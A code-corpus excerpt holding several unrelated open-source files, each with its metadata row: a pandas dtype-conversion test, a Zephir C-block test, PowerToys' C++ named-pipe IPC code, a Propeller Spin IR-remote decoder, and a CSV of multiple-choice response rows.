# Specific types are tested in tests/series/test_dtypes.py
# Just check that it works for DataFrame here
df = pd.DataFrame(
{
"a": pd.Series([1, 2, 3], dtype=np.dtype("int32")),
"b": pd.Series(["x", "y", "z"], dtype=np.dtype("O")),
}
)
with pd.option_context("string_storage", string_storage):
result = df.convert_dtypes(True, True, convert_integer, False)
expected = pd.DataFrame(
{
"a": pd.Series([1, 2, 3], dtype=expected),
"b": pd.Series(["x", "y", "z"], dtype=f"string[{string_storage}]"),
}
)
tm.assert_frame_equal(result, expected)
def test_convert_empty(self):
# Empty DataFrame can pass convert_dtypes, see GH#40393
empty_df = pd.DataFrame()
tm.assert_frame_equal(empty_df, empty_df.convert_dtypes())
| Python | 5 | ajayiagbebaku/NFL-Model | venv/Lib/site-packages/pandas/tests/frame/methods/test_convert_dtypes.py | [
"MIT"
] |
/**
* CBLOCK tests
* asfas
*/
%{
// top statement before namespace, add to after headers
#define MAX_FACTOR 40
}%
namespace Test;
%{
// top statement before class, add to after headers
// test include .h
#include "kernel/require.h"
}%
%{
// c implement fibonacci
static long fibonacci(long n) {
if (n < 2) return n;
else return fibonacci(n - 2) + fibonacci(n - 1);
}
}%
class Cblock
{
public function testCblock1()
{
int a = 0;
%{
a = MAX_FACTOR;
}%
return a;
}
public function testCblock2()
{
long a = 0;
%{
a = fibonacci(MAX_FACTOR);
}%
return a;
}
}
| Zephir | 3 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/Zephir/Cblock.zep | [
"MIT"
] |
#include "pch.h"
#include "two_way_pipe_message_ipc_impl.h"
#include <iterator>
constexpr DWORD BUFSIZE = 1024;
TwoWayPipeMessageIPC::TwoWayPipeMessageIPC(
std::wstring _input_pipe_name,
std::wstring _output_pipe_name,
callback_function p_func) :
impl(new TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImpl(
_input_pipe_name,
_output_pipe_name,
p_func))
{
}
TwoWayPipeMessageIPC::~TwoWayPipeMessageIPC()
{
delete impl;
}
void TwoWayPipeMessageIPC::send(std::wstring msg)
{
impl->send(msg);
}
void TwoWayPipeMessageIPC::start(HANDLE _restricted_pipe_token)
{
impl->start(_restricted_pipe_token);
}
void TwoWayPipeMessageIPC::end()
{
impl->end();
}
TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImpl::TwoWayPipeMessageIPCImpl(
std::wstring _input_pipe_name,
std::wstring _output_pipe_name,
callback_function p_func)
{
input_pipe_name = _input_pipe_name;
output_pipe_name = _output_pipe_name;
dispatch_inc_message_function = p_func;
}
void TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImpl::send(std::wstring msg)
{
output_queue.queue_message(msg);
}
void TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImpl::start(HANDLE _restricted_pipe_token)
{
output_queue_thread = std::thread(&TwoWayPipeMessageIPCImpl::consume_output_queue_thread, this);
input_queue_thread = std::thread(&TwoWayPipeMessageIPCImpl::consume_input_queue_thread, this);
input_pipe_thread = std::thread(&TwoWayPipeMessageIPCImpl::start_named_pipe_server, this, _restricted_pipe_token);
}
void TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImpl::end()
{
closed = true;
input_queue.interrupt();
input_queue_thread.join();
output_queue.interrupt();
output_queue_thread.join();
pipe_connect_handle_mutex.lock();
if (current_connect_pipe_handle != NULL)
{
//Cancels the Pipe currently waiting for a connection.
CancelIoEx(current_connect_pipe_handle, NULL);
}
pipe_connect_handle_mutex.unlock();
input_pipe_thread.join();
}
void TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImpl::send_pipe_message(std::wstring message)
{
// Adapted from https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-client
HANDLE output_pipe_handle;
const wchar_t* message_send = message.c_str();
BOOL fSuccess = FALSE;
DWORD cbToWrite, cbWritten, dwMode;
const wchar_t* lpszPipename = output_pipe_name.c_str();
// Try to open a named pipe; wait for it, if necessary.
while (1)
{
output_pipe_handle = CreateFile(
lpszPipename, // pipe name
GENERIC_READ | // read and write access
GENERIC_WRITE,
0, // no sharing
NULL, // default security attributes
OPEN_EXISTING, // opens existing pipe
0, // default attributes
NULL); // no template file
// Break if the pipe handle is valid.
if (output_pipe_handle != INVALID_HANDLE_VALUE)
break;
// Exit if an error other than ERROR_PIPE_BUSY occurs.
DWORD curr_error = 0;
if ((curr_error = GetLastError()) != ERROR_PIPE_BUSY)
{
return;
}
// All pipe instances are busy, so wait for 20 seconds.
if (!WaitNamedPipe(lpszPipename, 20000))
{
return;
}
}
dwMode = PIPE_READMODE_MESSAGE;
fSuccess = SetNamedPipeHandleState(
output_pipe_handle, // pipe handle
&dwMode, // new pipe mode
NULL, // don't set maximum bytes
NULL); // don't set maximum time
if (!fSuccess)
{
return;
}
// Send a message to the pipe server.
cbToWrite = (lstrlen(message_send)) * sizeof(WCHAR); // no need to send final '\0'. Pipe is in message mode.
fSuccess = WriteFile(
output_pipe_handle, // pipe handle
message_send, // message
cbToWrite, // message length
&cbWritten, // bytes written
NULL); // not overlapped
if (!fSuccess)
{
return;
}
CloseHandle(output_pipe_handle);
return;
}
void TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImpl::consume_output_queue_thread()
{
while (!closed)
{
std::wstring message = output_queue.pop_message();
if (message.length() == 0)
{
break;
}
send_pipe_message(message);
}
}
BOOL TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImpl::GetLogonSID(HANDLE hToken, PSID* ppsid)
{
// From https://docs.microsoft.com/en-us/previous-versions/aa446670(v=vs.85)
BOOL bSuccess = FALSE;
DWORD dwIndex;
DWORD dwLength = 0;
PTOKEN_GROUPS ptg = NULL;
// Verify the parameter passed in is not NULL.
if (NULL == ppsid)
goto Cleanup;
// Get required buffer size and allocate the TOKEN_GROUPS buffer.
if (!GetTokenInformation(
hToken, // handle to the access token
TokenGroups, // get information about the token's groups
(LPVOID)ptg, // pointer to TOKEN_GROUPS buffer
0, // size of buffer
&dwLength // receives required buffer size
))
{
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
goto Cleanup;
ptg = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwLength);
if (ptg == NULL)
goto Cleanup;
}
// Get the token group information from the access token.
if (!GetTokenInformation(
hToken, // handle to the access token
TokenGroups, // get information about the token's groups
(LPVOID)ptg, // pointer to TOKEN_GROUPS buffer
dwLength, // size of buffer
&dwLength // receives required buffer size
))
{
goto Cleanup;
}
// Loop through the groups to find the logon SID.
for (dwIndex = 0; dwIndex < ptg->GroupCount; dwIndex++)
if ((ptg->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID) == SE_GROUP_LOGON_ID)
{
// Found the logon SID; make a copy of it.
dwLength = GetLengthSid(ptg->Groups[dwIndex].Sid);
*ppsid = (PSID)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwLength);
if (*ppsid == NULL)
goto Cleanup;
if (!CopySid(dwLength, *ppsid, ptg->Groups[dwIndex].Sid))
{
HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
goto Cleanup;
}
break;
}
bSuccess = TRUE;
Cleanup:
// Free the buffer for the token groups.
if (ptg != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)ptg);
return bSuccess;
}
VOID TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImpl::FreeLogonSID(PSID* ppsid)
{
// From https://docs.microsoft.com/en-us/previous-versions/aa446670(v=vs.85)
HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
}
int TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImpl::change_pipe_security_allow_restricted_token(HANDLE handle, HANDLE token)
{
PACL old_dacl, new_dacl;
PSECURITY_DESCRIPTOR sd;
EXPLICIT_ACCESS ea;
PSID user_restricted;
int error;
if (!GetLogonSID(token, &user_restricted))
{
error = 5; // No access error.
goto Ldone;
}
if (GetSecurityInfo(handle,
SE_KERNEL_OBJECT,
DACL_SECURITY_INFORMATION,
NULL,
NULL,
&old_dacl,
NULL,
&sd))
{
error = GetLastError();
goto Lclean_sid;
}
memset(&ea, 0, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions |= GENERIC_READ | FILE_WRITE_ATTRIBUTES;
ea.grfAccessPermissions |= GENERIC_WRITE | FILE_READ_ATTRIBUTES;
ea.grfAccessPermissions |= SYNCHRONIZE;
ea.grfAccessMode = SET_ACCESS;
ea.grfInheritance = NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = (LPTSTR)user_restricted;
if (SetEntriesInAcl(1, &ea, old_dacl, &new_dacl))
{
error = GetLastError();
goto Lclean_sd;
}
if (SetSecurityInfo(handle,
SE_KERNEL_OBJECT,
DACL_SECURITY_INFORMATION,
NULL,
NULL,
new_dacl,
NULL))
{
error = GetLastError();
goto Lclean_dacl;
}
error = 0;
Lclean_dacl:
LocalFree((HLOCAL)new_dacl);
Lclean_sd:
LocalFree((HLOCAL)sd);
Lclean_sid:
FreeLogonSID(&user_restricted);
Ldone:
return error;
}
HANDLE TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImpl::create_medium_integrity_token()
{
HANDLE restricted_token_handle;
SAFER_LEVEL_HANDLE level_handle = NULL;
DWORD sid_size = SECURITY_MAX_SID_SIZE;
BYTE medium_sid[SECURITY_MAX_SID_SIZE];
if (!SaferCreateLevel(SAFER_SCOPEID_USER, SAFER_LEVELID_NORMALUSER, SAFER_LEVEL_OPEN, &level_handle, NULL))
{
return NULL;
}
if (!SaferComputeTokenFromLevel(level_handle, NULL, &restricted_token_handle, 0, NULL))
{
SaferCloseLevel(level_handle);
return NULL;
}
SaferCloseLevel(level_handle);
if (!CreateWellKnownSid(WinMediumLabelSid, nullptr, medium_sid, &sid_size))
{
CloseHandle(restricted_token_handle);
return NULL;
}
TOKEN_MANDATORY_LABEL integrity_level = { 0 };
integrity_level.Label.Attributes = SE_GROUP_INTEGRITY;
integrity_level.Label.Sid = reinterpret_cast<PSID>(medium_sid);
if (!SetTokenInformation(restricted_token_handle, TokenIntegrityLevel, &integrity_level, sizeof(integrity_level)))
{
CloseHandle(restricted_token_handle);
return NULL;
}
return restricted_token_handle;
}
void TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImpl::handle_pipe_connection(HANDLE input_pipe_handle)
{
if (!input_pipe_handle)
{
return;
}
constexpr DWORD readBlockBytes = BUFSIZE;
std::wstring message;
size_t iBlock = 0;
message.reserve(BUFSIZE);
bool ok;
do
{
constexpr size_t charsPerBlock = readBlockBytes / sizeof(message[0]);
message.resize(message.size() + charsPerBlock);
DWORD bytesRead = 0;
ok = ReadFile(
input_pipe_handle,
// read the message directly into the string block by block simultaneously resizing it
message.data() + iBlock * charsPerBlock,
readBlockBytes,
&bytesRead,
nullptr);
if (!ok && GetLastError() != ERROR_MORE_DATA)
{
break;
}
iBlock++;
} while (!ok);
// trim the message's buffer
const auto nullCharPos = message.find_last_not_of(L'\0');
if (nullCharPos != std::wstring::npos)
{
message.resize(nullCharPos + 1);
}
input_queue.queue_message(std::move(message));
// Flush the pipe to allow the client to read the pipe's contents
// before disconnecting. Then disconnect the pipe, and close the
// handle to this pipe instance.
FlushFileBuffers(input_pipe_handle);
DisconnectNamedPipe(input_pipe_handle);
CloseHandle(input_pipe_handle);
}
void TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImpl::start_named_pipe_server(HANDLE token)
{
// Adapted from https://docs.microsoft.com/en-us/windows/win32/ipc/multithreaded-pipe-server
const wchar_t* pipe_name = input_pipe_name.c_str();
BOOL connected = FALSE;
HANDLE connect_pipe_handle = INVALID_HANDLE_VALUE;
while (!closed)
{
{
std::unique_lock lock(pipe_connect_handle_mutex);
connect_pipe_handle = CreateNamedPipe(
pipe_name,
PIPE_ACCESS_DUPLEX |
WRITE_DAC,
PIPE_TYPE_MESSAGE |
PIPE_READMODE_MESSAGE |
PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFSIZE,
BUFSIZE,
0,
NULL);
if (connect_pipe_handle == INVALID_HANDLE_VALUE)
{
return;
}
if (token != NULL)
{
int err = change_pipe_security_allow_restricted_token(connect_pipe_handle, token);
}
current_connect_pipe_handle = connect_pipe_handle;
}
connected = ConnectNamedPipe(connect_pipe_handle, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);
{
std::unique_lock lock(pipe_connect_handle_mutex);
current_connect_pipe_handle = NULL;
}
if (connected)
{
std::thread(&TwoWayPipeMessageIPCImpl::handle_pipe_connection, this, connect_pipe_handle).detach();
}
else
{
// Client could not connect.
CloseHandle(connect_pipe_handle);
}
}
}
void TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImpl::consume_input_queue_thread()
{
while (!closed)
{
outgoing_message = L"";
std::wstring message = input_queue.pop_message();
if (message.length() == 0)
{
break;
}
// Check if callback method exists first before trying to call it.
// otherwise just store the response message in a variable.
if (dispatch_inc_message_function != nullptr)
{
dispatch_inc_message_function(message);
}
outgoing_message = message;
}
} | C++ | 5 | tameemzabalawi/PowerToys | src/common/interop/two_way_pipe_message_ipc.cpp | [
"MIT"
] |
{{ ir_view_serial.spin
Bob Belleville
This object receives input from an IR remote and dumps
mark/space timing information to the serial port.
This is a good tool to identify what an IR remote is
sending.
Decodes NEC type and Sony type codes automatically.
In some cases RC5 bi-phase codes can be correctly
decoded --- but it is not certain.
Valid RC5 codes have 14 bits and have code
110d dddd kkkk kk00 or
111d dddd kkkk kk00
RC5x codes have 15 bits and have code
110d dddd kkkk kkk0 or
111d dddd kkkk kkk0
where d are device address bits (5)
and k are keycodes (6 or 7)
RC6 code are not detected or decoded.
Connect an IR receiver module to a pin and set
irpin below.
To use this run it with the Prop tool.
Start a terminal emulator on the com port used by
the Prop tool. (115200 baud 8n1)
Hit a key to start sampling.
Use a capture file to accumulate codes.
Remember to stop the terminal when you want to
use the Prop tool again.
(realterm on sourceforge works as to others)
see readme.pdf for more documentaton
2007/02/28 - derived from showbit_demo.spin
and tv_terminal_demo.spin
2007/03/08 - convert for serial terminal
2007/03/09 - auto decode
2007/03/10 - rc5 decode (sometimes)
}}
CON
'will only run at this speed - sorry
_clkmode = xtal1 + pll16x
_xinfreq = 5_000_000
_quiet = 10000 'ir completely quiet after codes/repeats
_sbl = 85 'mark of an extra start burst pair is at
' least this long
_sac = 200 'space after code at least this long
irpin = 0 'IR receiver module input pin
_maxbuff = 600 'number of marks and spaces max
VAR
long buff[_maxbuff]
long npairs
byte decode_mode
OBJ
term : "serial_terminal"
PUB start | i, kbd
'start the terminal
term.start(12)
'allow time to get terminal
' running
repeat while term.getcnb == -1
term.str(@msg3)
waitcnt(40_000_000+cnt)
term.str(@title)
repeat
'for future expansion - not now used
if (kbd := term.getcnb) <> -1
term.out(kbd)
next
fill_buff 'read mark/space timings to buff
dump_buff 'show them and decode them
pub fill_buff | iron, iroff
{{
count the time for mark/space pairs until
a _esl length space terminates
buff is filled and npairs is the 2x the
number of pairs seen
}}
dira[irpin]~ 'input on p0 (0 clear)
npairs~
'longfill(@buff,0,_maxbuff)
repeat while ina[irpin]==1 'wait any mark
repeat
iron~
iroff~
repeat while ina[irpin]==0 'time mark
iron++
if iron > 10000 'this just balances mark/space counts
repeat while ina[irpin]==1 'time space
iroff++
if iroff>_quiet 'end of sequence
buff[npairs++]:=iron
buff[npairs++]:=iroff 'save last pair
return
buff[npairs++]:=iron
buff[npairs++]:=iroff
if npairs => _maxbuff-2
npairs -= 2 'don't overfill the buffer
PUB dump_buff | i, j, sdata, edata
'' show pairs
term.str(@msg4) 'show pair count
term.dec(npairs)
nl
i~
j~
sdata~ 'data bits start at this index
repeat
if i => npairs 'done?
nl
quit
if buff[i] > _sbl 'most likely a start burst pair
nl
j := 3
sdata += 2
term.dec(buff[i++]) 'mark
sp
term.dec(buff[i++]) 'space
term.str(@gap)
j++
if buff[i-1] > _sac 'guess that single code ends
nl
edata := i
decode(sdata,edata) 'decode if possible
sdata := edata
j~
if j => 4 '4 to line max
nl
j~
PUB decode(s,e) | i, mk, spa, mnmk, mxmk, mnsp, mxsp, code, mask, nbits, x
'' check buff to see what this might be
if e-s =< 8
term.str(@msg5)
return
mnmk := mxmk := buff[s]
mnsp := mxsp := buff[s+1]
' find the min and max of the marks and spaces
repeat i from s+2 to e-4 step 2
mk := buff[i]
spa := buff[i+1]
if mnmk > mk
mnmk := mk
if mxmk < mk
mxmk := mk
if mnsp > spa
mnsp := spa
if mxsp < spa
mxsp := spa
'bi-phase changes both
{caution this won't always work
if the actual code word has long pulses only in the mark
or only in the space it won't be recognized here and will
be taken up (incorrectly) below
we really have to know what code we have to
accurately do bi-phase
}
if mxmk-mnmk > 10 and mxsp-mnsp > 10
mask := $8000 'assume msb comes first
code~ 'build up code word
nbits~ 'count bit
x := (mxsp-mnsp)>>1 + mnsp 'find a long/short threshold
'create the code word
i := s
if buff[i] > x
term.str(@msg6) 'not rc5 or rc5x - not decoded here
return
repeat
if i => e
term.str(@msg10)
term.hex(code,8)
term.out("(")
term.dec(nbits)
term.out(")")
nl
quit
if i & 1 'odd i's are spaces, even marks
nbits++
mask >>= 1
if buff[i] > x
i++
else
i += 2
else
nbits++
code |= mask
mask >>= 1
if buff[i] > x
i++
else
i += 2
return
'variable space
if mxsp-mnsp > 10
term.str(@msg7)
mask := 1 'assume lsb comes first
code~ 'build up code word
nbits~ 'count bit
x := (mxsp-mnsp)>>1 + mnsp 'find a 0/1 threshold
'create the code word
repeat i from s to e-4 step 2
if buff[i+1] > x
code |= mask
nbits++
mask <<= 1
term.hex(code,8) 'show it with bit count
term.out("(")
term.dec(nbits)
term.out(")")
nl
return
'variable mark (count last mark as data)
if mxmk-mnmk > 10
term.str(@msg8)
mask := 1
code~
nbits~
x := (mxmk-mnmk)>>1 + mnsp
repeat i from s to e-2 step 2
if buff[i] > x
code |= mask
nbits++
mask <<= 1
term.hex(code,8)
term.out("(")
term.dec(nbits)
term.out(")")
nl
return
else 'neither varies all zero or 1
term.str(@msg9)
return
PUB sp
term.out(" ")
PUB nl
term.out(13)
term.out(10)
DAT
title byte "Push a remote button",13,10,13,10,0
gap byte " ",0
msg3 byte "any key to begin",13,10,0
msg4 byte "total samples: ",0
msg5 byte "repeat (?)",13,10,0
msg6 byte "bi-phase code: (not decoded)",13,10,0
msg7 byte "variable space code: ",0
msg8 byte "variable mark code: ",0
msg9 byte "may be all 0 or all 1",13,10,0
msg10 byte "rc5(14bit) or rc5x(15bit): ",0
| Propeller Spin | 5 | deets/propeller | libraries/community/p1/All/IR Kit/ir_view_serial.spin | [
"MIT"
] |
LITHO,CANAL,R
002973,A,,D,E,A,D,D,B,D,E,B,,E,D,A,D,C,D,B,A,A,C,A,B,C,C,E,D,B,B,B,A,,,,,,,,,,,,,,,,,,,,B,E,B,C,D,A,D,C,,A,B,,,D,C,A,B,A,C,C,C,B,B,A,,,,,,,,,,,,,,,D,C,,,,,,,,,,
002970,C,B,D,,,B,D,,C,E,D,D,E,E,C,A,C,,A,A,D,C,A,B,A,A,E,A,D,B,B,E,C,D,C,B,D,C,A,B,C,A,,C,E,B,D,C,A,A,B,D,E,E,C,B,C,B,A,E,C,B,C,D,D,C,,C,B,B,A,C,A,B,D,E,C,D,A,A,,D,A,E,D,A,D,B,D,D,C,A,B,D,C,*,C,C,B,A,D
002957,B,B,E,,B,A,D,,D,C,E,B,B,D,A,,A,,,,,,,B,,A,C,A,D,A,,A,A,D,B,A,A,C,B,D,C,D,B,E,C,B,D,B,A,A,C,,,A,,D,E,D,B,,A,E,,,E,D,B,E,A,B,A,D,A,,A,D,C,D,E,E,C,D,D,C,D,D,A,E,E,D,,,,A,,A,E,E,B,A,A
002952,A,E,B,B,E,E,A,C,C,A,B,C,A,C,E,A,B,A,C,D,A,C,C,B,C,A,E,A,D,E,C,E,C,A,D,A,E,B,B,D,C,C,D,D,E,B,B,A,A,B,C,E,B,D,A,E,B,D,C,A,A,D,A,E,D,C,A,A,D,A,A,D,B,A,E,D,C,C,A,E,B,B,A,B,A,E,D,C,D,D,A,A,B,A,C,E,D,B,B,A,A
002962,A,D,C,E,B,D,A,A,A,E,B,D,E,D,B,B,A,D,A,E,E,A,A,B,B,A,E,B,D,A,A,C,E,B,A,C,D,B,C,D,B,C,B,C,A,A,A,B,A,D,C,D,E,B,A,B,B,A,B,B,A,B,E,E,D,C,B,D,A,D,A,B,A,D,A,C,B,E,D,E,C,D,B,D,C,A,C,D,B,C,D,C,E,E,D,B,A,E,E,C,E
002950,C,,D,E,,D,A,,A,E,D,D,,C,,,C,,C,A,D,C,,B,,D,D,B,D,A,B,D,E,D,B,,E,C,C,B,C,A,C,C,,C,D,B,A,A,C,,E,E,C,,E,A,,D,A,D,C,D,B,A,B,A,E,C,A,E,B,A,C,C,C,E,B,C,D,B,A,A,B,A,D,D,E,D,A,D,C,B,B,C,B,A,C,D,B
002949,A,D,D,E,D,D,D,C,A,E,C,B,C,D,B,B,A,C,D,A,D,C,A,B,B,C,C,B,B,D,B,C,E,D,D,D,D,C,C,B,C,E,E,C,A,E,A,C,A,A,C,C,E,D,C,D,C,A,B,C,D,B,C,B,C,B,B,C,C,E,E,D,C,D,A,C,C,D,A,E,A,E,B,B,A,C,C,E,C,A,B,B,C,B,B,A,B,B,D,A,D
002948,B,A,B,E,B,A,D,D,D,E,B,E,E,C,D,C,D,D,A,C,E,A,E,A,D,E,A,B,D,B,A,C,C,C,C,D,C,E,A,D,C,E,D,C,E,B,A,C,A,A,C,B,B,B,C,C,C,E,D,C,E,D,E,E,B,A,B,C,B,A,A,D,B,A,D,C,A,E,D,A,C,D,A,B,A,D,D,B,E,D,E,B,D,D,B,B,A,C,E,D,A
002944,A,C,D,E,A,D,D,C,A,E,B,C,C,C,C,C,C,C,A,C,A,C,A,B,B,C,E,A,D,A,A,D,C,B,D,D,E,B,C,B,C,C,B,C,B,C,D,D,A,A,C,D,E,E,C,E,A,A,,,A,B,C,D,D,C,A,B,E,C,E,D,A,B,A,A,C,E,C,C,E,C,D,C,B,A,,B,C,D,A,B,C,C,E,B,B,C,C,D,C
002945,A,D,D,E,D,E,E,,D,,B,D,,B,D,,C,D,,A,D,C,A,B,,A,,,,,,C,C,D,C,E,E,C,C,D,C,E,E,C,B,B,D,D,A,C,B,,E,B,C,,E,A,,E,C,,E,D,D,C,D,B,B,A,C,D,A,B,B,D,A,C,A,C,D,E,D,A,D,A,,B,A,A,,A,B,C,A,D,B,A,B,E,C
002966,B,E,B,A,B,A,D,A,D,E,C,D,D,B,E,E,B,,A,A,C,D,C,E,A,E,B,E,D,A,B,C,C,D,A,A,A,D,C,D,C,C,D,E,B,C,A,C,A,A,C,B,C,A,E,,C,A,B,C,A,B,A,A,B,C,B,B,A,A,B,A,C,E,A,D,B,A,E,E,E,E,B,C,E,D,E,D,E,D,C,C,B,C,B,A,B,A,B,C,E
002972,C,E,D,E,B,A,,A,D,,A,A,C,,B,C,B,D,A,,A,,,E,,,B,D,D,A,A,E,D,C,E,A,A,C,A,B,C,E,D,C,D,C,B,A,A,D,C,,,D,B,D,,,,,,C,E,,D,D,,A,A,C,E,C,A,B,A,D,C,E,A,D,D,B,E,E,D,A,E,B,A,D,A,,B,,,,,B,D,D,C
002956,B,A,D,C,C,C,D,,A,E,D,C,B,,C,,B,,C,C,D,,B,,,A,A,A,B,B,A,D,E,D,D,A,A,C,A,A,C,,B,C,B,C,D,C,B,A,C,B,,,C,B,,,B,D,,D,,A,E,D,A,E,A,A,A,A,C,E,A,B,B,E,E,E,C,A,A,,B,A,,E,E,,B,,A,,D,,E,,E,A,C
002941,B,D,D,B,A,E,D,C,D,E,B,E,A,E,D,B,B,A,C,A,E,B,C,B,C,E,B,C,D,A,C,E,A,D,B,A,C,C,A,D,C,D,E,C,B,B,A,C,A,D,B,,,,,,,A,C,D,C,C,E,D,C,C,D,D,B,C,E,D,D,,A,D,B,D,A,E,E,A,C,B,D,A,C,E,E,D,E,C,D,D,B,B,B,C,D,D,C
002961,A,,,,A,,D,,A,E,,,B,E,,A,,,,,,,A,B,,,E,A,D,A,A,D,E,A,,,D,C,A,B,C,C,B,E,B,C,D,C,C,B,C,,E,,C,,,,C,,,,,E,B,C,D,E,E,D,A,D,A,,,,,,C,,,B,,,A,,,B,,D,,C,E,C,,A,,,,C,D
002960,C,,,,,D,D,,A,E,B,,,,,B,A,,,,,C,C,B,,,B,C,D,A,A,A,E,B,,,D,E,A,B,C,C,,C,E,C,B,C,A,C,C,,,A,C,B,,,,,A,,,,,,C,,A,,A,D,C,,A,C,,E,,,,,,,D,,,B,D,,,C,,,,,E,,D,,D
002967,A,,,,,D,A,,B,E,,A,B,D,B,B,,,,A,,,A,B,,C,B,A,B,A,A,E,A,B,B,A,B,A,A,E,C,C,D,C,E,C,D,B,A,A,C,,E,,,,,A,,,,,,,D,C,D,A,E,C,C,D,B,D,A,C,B,D,E,C,E,E,A,E,B,D,,B,A,C,,E,C,D,E,C,D,D,C,B,A
002963,A,A,B,C,D,A,D,B,A,E,B,B,B,B,C,A,A,C,D,A,E,B,C,D,B,C,E,A,B,A,B,E,D,E,D,C,A,D,C,E,C,A,E,C,D,A,D,C,A,A,C,A,E,E,E,E,E,D,C,A,A,B,E,D,D,D,A,B,A,A,B,B,C,E,E,C,A,D,A,C,D,A,A,A,C,D,C,B,D,D,A,A,A,E,B,E,A,C,A,A,A
002943,A,D,B,E,B,D,D,B,A,E,B,D,B,D,B,C,C,C,D,A,A,C,A,B,D,A,A,C,B,A,A,B,A,D,D,E,D,C,A,D,C,C,B,C,A,B,A,D,C,D,C,D,E,E,C,B,A,B,B,D,A,A,E,E,D,C,D,D,C,E,E,D,A,B,B,D,B,C,D,C,D,B,A,C,B,A,A,D,A,D,C,A,D,C,C,C,B,A,B,E,A
002968,A,B,B,E,B,E,A,C,C,E,B,B,B,A,C,A,B,C,C,A,A,B,C,D,B,C,E,A,B,A,B,B,C,D,D,E,D,C,A,E,C,C,C,C,B,C,D,D,A,D,C,B,E,E,E,E,E,D,C,A,A,B,E,D,D,B,B,B,A,D,C,D,A,D,E,C,D,E,D,E,D,A,A,A,C,A,C,B,D,D,A,A,A,E,B,E,A,C,A,A,A
002959,A,A,D,E,C,E,C,D,A,E,B,B,C,D,B,E,A,D,A,C,C,B,C,D,B,B,A,A,D,A,C,D,E,D,E,D,E,C,C,B,C,C,D,C,B,C,A,D,A,D,C,B,C,B,C,D,B,A,D,E,B,D,B,C,A,D,E,D,A,D,C,D,A,D,A,E,B,D,E,A,B,B,E,D,D,A,C,B,D,E,C,E,A,B,A,A,C,E,D,C,A
002953,A,A,B,E,B,D,D,C,A,E,B,C,B,C,D,E,B,A,C,D,D,C,A,B,B,C,D,A,B,A,A,E,C,D,D,E,E,C,C,D,C,C,B,C,B,C,D,B,D,A,C,B,E,E,C,E,C,B,C,B,C,D,C,C,B,C,D,C,E,E,A,D,A,D,B,E,B,A,A,C,D,D,A,A,B,D,C,D,E,D,D,A,C,A,E,C,A,C,D,A,E
002954,B,C,D,B,D,C,C,B,D,B,A,D,C,A,B,B,A,B,C,B,C,D,B,D,E,D,B,A,E,A,B,E,A,D,E,B,A,E,C,A,D,E,C,C,A,E,B,A,C,A,C,B,C,E,B,B,E,A,C,E,E,B,B,B,E,A,E,E,A,E,A,E,C,A,D,C,C,D,A,E,C,B,C,A,A,C,A,B,C,C,B,B,C,B,C,B,C,E,D,B,D
002974,A,D,A,C,D,A,D,D,D,E,B,A,E,A,D,A,B,D,C,C,,,C,B,C,C,B,A,D,A,A,E,B,D,D,E,D,C,B,B,C,C,E,C,B,C,D,E,C,D,C,,E,B,B,D,B,B,C,D,A,E,,C,D,C,A,E,A,,A,D,A,A,A,C,D,C,B,A,,E,B,D,,A,,B,E,,D,A,B,C,B,A,E,A,B,C,A
002942,A,B,,E,,D,D,,D,E,,C,C,D,,,A,,,,,B,A,B,,C,B,A,D,A,A,D,C,C,E,A,A,E,C,B,C,C,B,D,B,C,B,B,A,D,C,,,B,,B,,A,,,D,B,E,,B,C,D,D,C,A,,,C,,B,B,B,,A,E,E,B,A,,B,C,,D,C,D,A,C,,E,,,A,,C,,A
002975,B,E,B,B,B,A,A,B,C,B,E,A,A,E,B,C,E,E,A,A,D,A,C,E,D,A,E,E,C,A,B,C,E,D,B,B,A,C,A,D,C,C,D,A,A,A,B,E,A,A,C,E,C,E,A,D,E,A,C,E,B,D,A,C,A,A,A,E,A,E,B,C,C,A,A,C,B,E,C,E,B,E,D,D,E,C,E,B,C,C,A,C,A,B,B,B,D,D,E,A,E
002940,A,D,D,A,A,A,D,D,D,E,C,C,C,A,B,E,B,D,C,C,C,A,D,B,C,E,A,A,D,A,B,A,A,B,B,E,C,C,D,B,C,C,D,A,B,B,A,D,A,D,C,C,D,C,A,C,E,D,C,B,C,B,E,A,E,D,D,C,C,E,E,D,B,E,B,E,D,C,E,E,C,D,A,B,A,A,B,D,E,C,A,C,D,C,B,B,A,C,B,C,E
002969,B,D,A,B,B,C,E,B,A,E,C,A,A,E,B,C,D,A,A,C,E,B,C,B,E,B,B,B,A,B,B,D,C,C,A,E,D,E,C,B,C,A,A,C,A,A,D,A,D,E,B,,,A,,B,,A,,A,,D,A,,D,C,A,D,E,A,C,D,C,D,A,C,B,A,E,E,D,A,A,C,D,B,A,A,C,,,,,D,B,A,A,D,B,A,C
